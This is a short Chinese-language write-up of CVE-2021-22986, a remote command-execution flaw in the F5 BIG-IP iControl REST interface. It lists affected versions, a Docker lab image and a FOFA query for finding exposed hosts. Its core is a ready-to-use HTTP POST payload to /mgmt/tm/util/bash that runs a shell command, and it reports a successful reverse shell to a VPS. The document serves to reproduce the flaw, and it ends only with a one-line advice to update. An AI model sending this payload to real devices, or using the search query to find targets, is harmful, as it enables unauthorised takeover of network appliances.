F5 BIG-IP iControl REST未授权命令注入RCE（CVE-2021-22986）

一、漏洞描述

F5 BIG-IP 链路控制器用于最大限度提升链路性能与可用性的下一代广域网链路流量管理。F5 BIG-IP 存在代码执行漏洞，该漏洞允许定义身份验证的攻击者通过 BIG-IP 管理界面和自身IP地址对 iControl REST 接口进行网络访问，以执行任意系统命令，控制目标机器。

二、影响版本

F5 BIG-IQ 6.0.0-6.1.0

F5 BIG-IQ 7.0.0-7.0.0.1

F5 BIG-IQ 7.1.0-7.1.0.2

F5 BIG-IP 12.1.0-12.1.5.2

F5 BIG-IP 13.1.0-13.1.3.5

F5 BIG-IP 14.1.0-14.1.3.1

F5 BIG-IP 15.1.0-15.1.2

F5 BIG-IP 16.0.0-16.0.1

三、漏洞环境

1、docker pull yhbl/cve-2021-22986 / docker pull f5devcentral/f5-bigip-image-generator （需要配置，详情请搜索dockerhub）

2、fofa: body="F5 Networks, Inc"

四、漏洞复现

payload:

POST /mgmt/tm/util/bash HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
X-F5-Auth-Token:
Content-Type: application/json
Authorization: Basic YWRtaW46QVNhc1M=
Connection: close

{"command":"run","utilCmdArgs":"-c id"}

五、漏洞利用

1、尝试反弹到vps上，反弹成功

六、更新建议

建议更新到最新版本